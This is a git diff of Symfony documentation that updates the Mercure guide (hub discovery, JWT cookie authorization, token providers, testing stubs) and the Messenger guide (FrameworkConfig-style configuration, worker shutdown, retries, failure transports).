 ---------
 
@@ -288,17 +329,14 @@ by using the ``AbstractController::addLink`` helper method::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\WebLink\Link;
+    use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request): JsonResponse
+        public function __invoke(Request $request, Discovery $discovery): JsonResponse
         {
-            // This parameter is automatically created by the MercureBundle
-            $hubUrl = $this->getParameter('mercure.default_hub');
-
             // Link: <http://localhost:3000/.well-known/mercure>; rel="mercure"
-            $this->addLink($request, new Link('mercure', $hubUrl));
+            $discovery->addLink($request);
 
             return $this->json([
                 '@id' => '/books/1',
@@ -319,8 +357,8 @@ and to subscribe to it:
             const hubUrl = response.headers.get('Link').match(/<([^>]+)>;\s+rel=(?:mercure|"[^"]*mercure[^"]*")/)[1];
 
             // Append the topic(s) to subscribe as query parameter
-            const hub = new URL(hubUrl);
-            hub.searchParams.append('topic', 'http://example.com/books/{id}');
+            const hub = new URL(hubUrl, window.origin);
+            hub.searchParams.append('topic', 'https://example.com/books/{id}');
 
             // Subscribe to updates
             const eventSource = new EventSource(hub);
@@ -330,30 +368,30 @@ and to subscribe to it:
 Authorization
 -------------
 
-Mercure also allows to dispatch updates only to authorized clients.
+Mercure also allows dispatching updates only to authorized clients.
 To do so, mark the update as **private** by setting the third parameter
 of the ``Update`` constructor to ``true``::
 
     // src/Controller/Publish.php
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\PublisherInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublishController
+    class PublishController extends AbstractController
     {
-        public function __invoke(PublisherInterface $publisher): Response
+        public function publish(HubInterface $hub): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock']),
                 true // private
             );
 
             // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
             // Subscriber's JWT must contain this topic, a URI template it matches or * in mercure.subscribe to receive the update
-            $publisher($update);
+            $hub->publish($update);
 
             return new Response('private update published!');
         }
@@ -365,102 +403,100 @@ a JWT containing a topic selector matching by the update's topic.
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
 
-Cookies are automatically sent by the browsers when opening an ``EventSource``
-connection if the ``withCredentials`` attribute is set to ``true``:
+Cookies can be set automatically by Symfony by passing the appropriate options
+to the ``mercure()`` Twig function. Cookies set by Symfony will be automatically
+passed by the browsers to the Mercure hub if the ``withCredentials`` attribute
+of the ``EventSource`` class is set to ``true``. Then, the Hub will verify the
+validity of the provided JWT, and extract the topic selectors from it.
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    const eventSource = new EventSource(hub, {
+    <script>
+    const eventSource = new EventSource("{{ mercure('https://example.com/books/1', { subscribe: 'https://example.com/books/1' })|escape('js') }}", {
         withCredentials: true
     });
+    </script>
+
+The supported options are:
+
+* ``subscribe``: the list of topic selectors to include in the ``mercure.subscribe`` claim of the JWT
+* ``publish``: the list of topic selectors to include in the ``mercure.publish`` claim of the JWT
+* ``additionalClaims``: extra claims to include in the JWT (expiration date, token ID...)
 
 Using cookies is the most secure and preferred way when the client is a web
 browser. If the client is not a web browser, then using an authorization header
 is the way to go.
 
+.. caution::
+
+    To use the cookie authentication method, the Symfony app and the Hub
+    must be served from the same domain (can be different sub-domains).
+
 .. tip::
 
     The native implementation of EventSource doesn't allow specifying headers.
     For example, authorization using Bearer token. In order to achieve that, use `a polyfill`_
 
-    .. code-block:: javascript
+    .. code-block:: twig
 
-        const es = new EventSourcePolyfill(url, {
+        <script>
+        const es = new EventSourcePolyfill("{{ mercure('https://example.com/books/1') }}", {
             headers: {
                 'Authorization': 'Bearer ' + token,
             }
         });
+        </script>
 
-In the following example controller,
-the generated cookie contains a JWT, itself containing the appropriate topic selector.
-This cookie will be automatically sent by the web browser when connecting to the Hub.
-Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
-from it.
-
-To generate the JWT, we'll use the ``lcobucci/jwt`` library. Install it:
+Programmatically Setting The Cookie
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: terminal
+Sometimes, it can be convenient to set the authorization cookie from your code
+instead of using the Twig function. MercureBundle provides a convenient service,
+:class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
 
-    $ composer require lcobucci/jwt
+In the following example controller, the added cookie contains a JWT, itself
+containing the appropriate topic selector.
 
 And here is the controller::
 
     // src/Controller/DiscoverController.php
     namespace App\Controller;
 
-    use Lcobucci\JWT\Builder;
-    use Lcobucci\JWT\Signer\Hmac\Sha256;
-    use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Cookie;
+    use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\WebLink\Link;
+    use Symfony\Component\Mercure\Authorization;
+    use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request): Response
+        public function publish(Request $request, Discovery $discovery, Authorization $authorization): JsonResponse
         {
-            $hubUrl = $this->getParameter('mercure.default_hub');
-            $this->addLink($request, new Link('mercure', $hubUrl));
-
-            $token = (new Builder())
-                // set other appropriate JWT claims, such as an expiration date
-                ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: !ChangeMe!
-
-            $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
-            $cookie = Cookie::create('mercureAuthorization')
-                ->withValue($token)
-                ->withPath('/.well-known/mercure')
-                ->withSecure(true)
-                ->withHttpOnly(true)
-                ->withSameSite('strict')
-            ;
-            $response->headers->setCookie($cookie);
-
-            return $response;
+            $discovery->addLink($request);
+            $authorization->setCookie($request, ['https://example.com/books/1']);
+
+            return $this->json([
+                '@id' => '/demo/books/1',
+                'availability' => 'https://schema.org/InStock'
+            ]);
         }
     }
 
-.. caution::
-
-    To use the cookie authentication method, the Symfony app and the Hub
-    must be served from the same domain (can be different sub-domains).
-
 Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
 Instead of directly storing a JWT in the configuration,
-you can create a service that will return the token used by
-the ``Publisher`` object::
+you can create a token provider that will return the token used by
+the ``HubInterface`` object::
 
-    // src/Mercure/MyJwtProvider.php
+    // src/Mercure/MyTokenProvider.php
     namespace App\Mercure;
 
-    final class MyJwtProvider
+    use Symfony\Component\Mercure\Jwt\TokenProviderInterface;
+
+    final class MyTokenProvider implements TokenProviderInterface
     {
-        public function __invoke(): string
+        public function getJwt(): string
         {
             return 'the-JWT';
         }
@@ -477,7 +513,8 @@ Then, reference this service in the bundle configuration:
             hubs:
                 default:
                     url: https://mercure-hub.example.com/.well-known/mercure
-                    jwt_provider: App\Mercure\MyJwtProvider
+                    jwt:
+                        provider: App\Mercure\MyTokenProvider
 
     .. code-block:: xml
 
@@ -487,8 +524,9 @@ Then, reference this service in the bundle configuration:
             <hub
                 name="default"
                 url="https://mercure-hub.example.com/.well-known/mercure"
-                jwt-provider="App\Mercure\MyJwtProvider"
-            />
+            >
+                <jwt provider="App\Mercure\MyTokenProvider"/>
+            </hub>
         </config>
 
     .. code-block:: php
@@ -500,7 +538,9 @@ Then, reference this service in the bundle configuration:
             'hubs' => [
                 'default' => [
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
-                    'jwt_provider' => MyJwtProvider::class,
+                    'jwt' => [
+                        'provider' => MyJwtProvider::class,
+                    ],
                 ],
             ],
         ]);
@@ -533,22 +573,16 @@ hypermedia API, and automatic update broadcasting through the Mercure hub::
     use ApiPlatform\Core\Annotation\ApiResource;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-    * @ApiResource(mercure=true)
-    * @ORM\Entity
-    */
+    #[ApiResource(mercure: true)]
+    #[ORM\Entity]
     class Book
     {
-        /**
-         * @ORM\Id
-         * @ORM\Column
-         */
-        public $name;
-
-        /**
-         * @ORM\Column
-         */
-        public $status;
+        #[ORM\Id]
+        #[ORM\Column]
+        public string $name = '';
+
+        #[ORM\Column]
+        public string $status = '';
     }
 
 As showcased `in this recording`_, the API Platform Client Generator also
@@ -561,30 +595,65 @@ its Mercure support.
 Testing
 --------
 
-During functional testing there is no need to send updates to Mercure. They will
-be handled by a stub publisher::
+During unit testing there is not need to send updates to Mercure.
+
+You can instead make use of the `MockHub`::
+
+    // tests/FunctionalTest.php
+    namespace App\Tests\Unit\Controller;
+
+    use App\Controller\MessageController;
+    use Symfony\Component\Mercure\HubInterface;
+    use Symfony\Component\Mercure\JWT\StaticTokenProvider;
+    use Symfony\Component\Mercure\MockHub;
+    use Symfony\Component\Mercure\Update;
+
+    class MessageControllerTest extends TestCase
+    {
+        public function testPublishing()
+        {
+            $hub = new MockHub('https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
+                // $this->assertTrue($update->isPrivate());
+
+                return 'id';
+            });
 
-    // tests/Functional/Fixtures/PublisherStub.php
+            $controller = new MessageController($hub);
+
+            // ...
+        }
+    }
+
+During functional testing you can instead decorate the Hub::
+
+    // tests/Functional/Fixtures/HubStub.php
     namespace App\Tests\Functional\Fixtures;
 
-    use Symfony\Component\Mercure\PublisherInterface;
+    use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublisherStub implements PublisherInterface
+    class HubStub implements HubInterface
     {
-        public function __invoke(Update $update): string
+        public function publish(Update $update): string
         {
-            return '';
+            return 'id';
         }
+
+        // implement rest of HubInterface methods here
     }
 
-PublisherStub decorates the default publisher service so no updates are actually
-sent. Here is the PublisherStub implementation::
+HubStub decorates the default hub service so no updates are actually
+sent. Here is the HubStub implementation:
+
+.. code-block:: yaml
 
     # config/services_test.yaml
-    App\Tests\Functional\Fixtures\PublisherStub:
-        decorates: mercure.hub.default.publisher
+    App\Tests\Functional\Fixtures\HubStub:
+        decorates: mercure.hub.default
+
+.. tip::
 
+    Symfony Panther has `a feature to test applications using Mercure`_.
 
 Debugging
 ---------
@@ -595,36 +664,66 @@ Debugging
 
 Enable the panel in your configuration, as follows:
 
-.. configuration-block::
+MercureBundle is shipped with a debug panel. Install the Debug pack to
+enable it::
 
-    .. code-block:: yaml
+.. code-block:: terminal
 
-        # config/packages/mercure.yaml
-        mercure:
-            enable_profiler: '%kernel.debug%'
+    $ composer require --dev symfony/debug-pack
 
-    .. code-block:: xml
+.. image:: /_images/mercure/panel.png
 
-        <!-- config/packages/mercure.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+Async dispatching
+-----------------
 
-            <mercure:config enable_profiler="%kernel.debug%"/>
+.. tip::
 
-        </container>
+    Async dispatching is discouraged. Most Mercure hubs already
+    handle publications asynchronously and using Messenger is
+    usually not necessary.
 
-    .. code-block:: php
+Instead of calling the ``Publisher`` service directly, you can also let Symfony
+dispatching the updates asynchronously thanks to the provided integration with
+the Messenger component.
 
-        // config/packages/mercure.php
-        $container->loadFromExtension('mercure', [
-            'enable_profiler' => '%kernel.debug%',
-        ]);
+First, be sure :doc:`to install the Messenger component </messenger>`
+and to configure properly a transport (if you don't, the handler will
+be called synchronously).
 
+Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus,
+it will be handled automatically::
 
-.. image:: /_images/mercure/panel.png
+    // src/Controller/PublishController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Mercure\Update;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class PublishController extends AbstractController
+    {
+        public function publish(MessageBusInterface $bus): Response
+        {
+            $update = new Update(
+                'https://example.com/books/1',
+                json_encode(['status' => 'OutOfStock'])
+            );
+
+            // Sync, or async (Doctrine, RabbitMQ, Kafka...)
+            $bus->dispatch($update);
+
+            return new Response('published!');
+        }
+    }
+
+Going further
+-------------
+
+* The Mercure protocol is also supported by :doc:`the Notifier component </notifier>`.
+  Use it to send push notifications to web browsers.
+* `Symfony UX Turbo`_ is a library using Mercure to provide the same experience
+  as with Single Page Applications but without having to write a single line of JavaScript!
 
 .. _`the Mercure protocol`: https://mercure.rocks/spec
 .. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events
@@ -632,6 +731,7 @@ Enable the panel in your configuration, as follows:
 .. _`high-level implementations`: https://mercure.rocks/docs/ecosystem/awesome
 .. _`In this recording`: https://www.youtube.com/watch?v=UI1l0JOjLeI
 .. _`Mercure.rocks`: https://mercure.rocks
+.. _`Symfony Docker`: https://github.com/dunglas/symfony-docker/
 .. _`API Platform distribution`: https://api-platform.com/docs/distribution/
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
@@ -639,3 +739,5 @@ Enable the panel in your configuration, as follows:
 .. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
+.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket
+.. _`Symfony UX Turbo`: https://github.com/symfony/ux-turbo
diff --git a/messenger.rst b/messenger.rst
index 6c2f2e35794..87fa30ea818 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -99,9 +99,6 @@ You're ready! To dispatch the message (and call the handler), inject the
             // will cause the SmsNotificationHandler to be called
             $bus->dispatch(new SmsNotification('Look! I created a message!'));
 
-            // or use the shortcut
-            $this->dispatchMessage(new SmsNotification('Look! I created a message!'));
-
             // ...
         }
     }
@@ -179,19 +176,20 @@ that uses this configuration:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async' => '%env(MESSENGER_TRANSPORT_DSN)%',
-
-                    // or expanded to configure more options
-                    'async' => [
-                       'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                       'options' => []
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')
+                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+            ;
+
+            $framework->messenger()
+                ->transport('async')
+                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                    ->options([])
+            ;
+        };
 
 .. _messenger-routing:
 
@@ -213,7 +211,7 @@ you can configure them to be sent to a transport:
 
                 routing:
                     # async is whatever name you gave your transport above
-                    'App\Message\SmsNotification':  async
+                    'App\Message\SmsNotification': async
 
     .. code-block:: xml
 
@@ -240,14 +238,14 @@ you can configure them to be sent to a transport:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    // async is whatever name you gave your transport above
-                    'App\Message\SmsNotification' => 'async',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                // async is whatever name you gave your transport above
+                ->routing('App\Message\SmsNotification')->senders(['async'])
+            ;
+        };
 
 Thanks to this, the ``App\Message\SmsNotification`` will be sent to the ``async``
 transport and its handler(s) will *not* be called immediately. Any messages not
@@ -302,16 +300,22 @@ to multiple transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    // route all messages that extend this example base class or interface
-                    'App\Message\AbstractAsyncMessage' => 'async',
-                    'App\Message\AsyncMessageInterface' => 'async',
-                    'My\Message\ToBeSentToTwoSenders' => ['async', 'audit'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+            // route all messages that extend this example base class or interface
+            $messenger->routing('App\Message\AbstractAsyncMessage')->senders(['async']);
+            $messenger->routing('App\Message\AsyncMessageInterface')->senders(['async']);
+            $messenger->routing('My\Message\ToBeSentToTwoSenders')->senders(['async', 'audit']);
+        };
+
+.. note::
+
+    If you configure routing for both a child and parent class, both rules
+    are used. E.g. if you have an ``SmsNotification`` object that extends
+    from ``Notification``, both the routing for ``Notification`` and
+    ``SmsNotification`` will be used.
 
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -418,18 +422,16 @@ transport and "sending" messages there to be handled immediately:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    // ... other transports
-
-                    'sync' => 'sync://',
-                ],
-                'routing' => [
-                    'App\Message\SmsNotification' => 'sync',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // ... other transports
+
+            $messenger->transport('sync')->dsn('sync://');
+            $messenger->routing('App\Message\SmsNotification')->senders(['sync']);
+        };
 
 Creating your Own Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -456,6 +458,16 @@ The first argument is the receiver's name (or service id if you routed to a
 custom service). By default, the command will run forever: looking for new messages
 on your transport and handling them. This command is called your "worker".
 
+.. tip::
+
+    To properly stop a worker, throw an instance of
+    :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`.
+
+    .. versionadded:: 5.4
+
+        The :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`
+        class was introduced in Symfony 5.4.
+
 Deploying to Production
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -480,6 +492,14 @@ On production, there are a few important things to think about:
     new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
+**Use the Same Cache Between Deploys**
+    If your deploy strategy involves the creation of new target directories, you
+    should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>`
+    configuration option in order to use the same cache namespace between deployments.
+    Otherwise, the ``cache.app`` pool will use the value of the ``kernel.project_dir``
+    parameter as base for the namespace, which will lead to different namespaces
+    each time a new deployment is made.
+
 Prioritized Transports
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -554,28 +574,22 @@ different messages to them. For example:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'queue_name' => 'high',
-                        ],
-                    ],
-                    'async_priority_low' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'queue_name' => 'low',
-                        ],
-                    ],
-                ],
-                'routing' => [
-                    'App\Message\SmsNotification' => 'async_priority_low',
-                    'App\Message\NewUserWelcomeEmail' => 'async_priority_high',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['queue_name' => 'high']);
+
+            $messenger->transport('async_priority_low')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['queue_name' => 'low']);
+
+            $messenger->routing('App\Message\SmsNotification')->senders(['async_priority_low']);
+            $messenger->routing('App\Message\NewUserWelcomeEmail')->senders(['async_priority_high']);
+        };
 
 You can then run individual workers for each transport or instruct one worker
 to handle messages in a priority order:
@@ -587,6 +601,29 @@ to handle messages in a priority order:
 The worker will always first look for messages waiting on ``async_priority_high``. If
 there are none, *then* it will consume messages from ``async_priority_low``.
 
+.. _messenger-limit-queues:
+
+Limit Consuming to Specific Queues
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some transports (notably AMQP) have the concept of exchanges and queues. A Symfony
+transport is always bound to an exchange. By default, the worker consumes from all
+queues attached to the exchange of the specified transport. However, there are use
+cases to want a worker to only consume from specific queues.
+
+You can limit the worker to only process messages from specific queues:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume my_transport --queues=fasttrack
+
+To allow using the ``queues`` option, the receiver must implement the
+:class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
+
+.. versionadded:: 5.3
+
+    Limiting the worker to specific queues was introduced in Symfony 5.3.
+
 .. _messenger-supervisor:
 
 Supervisor Configuration
@@ -619,8 +656,18 @@ times:
     process_name=%(program_name)s_%(process_num)02d
 
 Change the ``async`` argument to use the name of your transport (or transports)
-and ``user`` to the Unix user on your server. Next, tell Supervisor to read your
-config and start your workers:
+and ``user`` to the Unix user on your server.
+
+If you use the Redis Transport, note that each worker needs a unique consumer
+name to avoid the same message being handled by multiple workers. One way to
+achieve this is to set an environment variable in the Supervisor configuration
+file, which you can then refer to in ``messenger.yaml`` (see Redis section above):
+
+.. code-block:: ini
+
+    environment=MESSENGER_CONSUMER_NAME=%(program_name)s_%(process_num)02d
+
+Next, tell Supervisor to read your config and start your workers:
 
 .. code-block:: terminal
 
@@ -632,6 +679,89 @@ config and start your workers:
 
 See the `Supervisor docs`_ for more details.
 
+Graceful Shutdown
+~~~~~~~~~~~~~~~~~
+
+If you install the `PCNTL`_ PHP extension in your project, workers will handle
+the ``SIGTERM`` POSIX signal to finish processing their current message before
+exiting.
+
+In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
+a Docker container having Supervisor as its entrypoint). In these cases you
+need to add a ``stopwaitsecs`` key to the program configuration (with a value
+of the desired grace period in seconds) in order to perform a graceful shutdown:
+
+.. code-block:: ini
+
+    [program:x]
+    stopwaitsecs=20
+
+Stateless Worker
+~~~~~~~~~~~~~~~~
+
+PHP is designed to be stateless, there are no shared resources across different
+requests. In HTTP context PHP cleans everything after sending the response, so
+you can decide to not take care of services that may leak memory.
+
+On the other hand, workers usually run in long-running CLI processes, which don't
+finish after processing a message. That's why you need to be careful about services
+state to not leak information and/or memory from one message to another message.
+
+However, certain Symfony services, such as the Monolog
+:ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
+In those cases, use the ``reset_on_message`` transport option to automatically
+reset the service container between two messages:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                reset_on_message: true
+                transports:
+                    async:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%" reset-on-message="true">
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->resetOnMessage(true)
+            ;
+        };
+
+.. versionadded:: 5.4
+
+    The ``reset_on_message`` option was introduced in Symfony 5.4.
+
 .. _messenger-retries-failures:
 
 Retries & Failures
@@ -692,29 +822,36 @@ this is configurable for each transport:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-
-                        // default configuration
-                        'retry_strategy' => [
-                            'max_retries' => 3,
-                            // milliseconds delay
-                            'delay' => 1000,
-                            // causes the delay to be higher before each retry
-                            // e.g. 1 second delay, 2 seconds, 4 seconds
-                            'multiplier' => 2,
-                            'max_delay' => 0,
-                            // override all of this with a service that
-                            // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
-                            // 'service' => null,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                // default configuration
+                ->retryStrategy()
+                    ->maxRetries(3)
+                    // milliseconds delay
+                    ->delay(1000)
+                    // causes the delay to be higher before each retry
+                    // e.g. 1 second delay, 2 seconds, 4 seconds
+                    ->multiplier(2)
+                    ->maxDelay(0)
+                    // override all of this with a service that
+                    // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
+                    ->service(null)
+            ;
+        };
+
+.. tip::
+
+    Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
+    when a message is retried so you can run your own logic.
+
+    .. versionadded:: 5.2
+
+        The ``WorkerMessageRetriedEvent`` class was introduced in Symfony 5.2.
 
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
@@ -734,7 +871,7 @@ Forcing Retrying
 Sometimes handling a message must fail in a way that you *know* is temporary
 and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
-the message will always be retried.
+the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
 .. _messenger-failure-transport:
 
@@ -784,20 +921,19 @@ be discarded. To avoid this happening, you can instead configure a ``failure_tra
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // after retrying, messages will be sent to the "failed" transport
-                'failure_transport' => 'failed',
-
-                'transports' => [
-                    // ... other transports
-
-                    'failed' => [
-                        'dsn' => 'doctrine://default?queue_name=failed',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // after retrying, messages will be sent to the "failed" transport
+            $messenger->failureTransport('failed');
+
+            // ... other transports
+
+            $messenger->transport('failed')
+                ->dsn('doctrine://default?queue_name=failed');
+        };
 
 In this example, if handling a message fails 3 times (default ``max_retries``),
 it will then be sent to the ``failed`` transport. While you *can* use
@@ -833,6 +969,113 @@ If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
 
+Multiple Failed Transports
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    The possibility to use multiple failed transports was introduced in Symfony 5.3.
+
+Sometimes it is not enough to have a single, global ``failed transport`` configured
+because some messages are more important than others. In those cases, you can
+override the failure transport for only specific transports:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                # after retrying, messages will be sent to the "failed" transport
+                # by default if no "failed_transport" is configured inside a transport
+                failure_transport: failed_default
+
+                transports:
+                    async_priority_high:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        failure_transport: failed_high_priority
+
+                    # since no failed transport is configured, the one used will be
+                    # the global "failure_transport" set
+                    async_priority_low:
+                        dsn: 'doctrine://default?queue_name=async_priority_low'
+
+                    failed_default: 'doctrine://default?queue_name=failed_default'
+                    failed_high_priority: 'doctrine://default?queue_name=failed_high_priority'
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- after retrying, messages will be sent to the "failed" transport
+                by default if no "failed-transport" is configured inside a transport -->
+                <framework:messenger failure-transport="failed_default">
+                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%" failure-transport="failed_high_priority"/>
+                    <!-- since no "failed_transport" is configured, the one used will be
+                    the global "failed_transport" set -->
+                    <framework:transport name="async_priority_low" dsn="doctrine://default?queue_name=async_priority_low"/>
+
+                    <framework:transport name="failed_default" dsn="doctrine://default?queue_name=failed_default"/>
+                    <framework:transport name="failed_high_priority" dsn="doctrine://default?queue_name=failed_high_priority"/>
+                </framework:messenger>
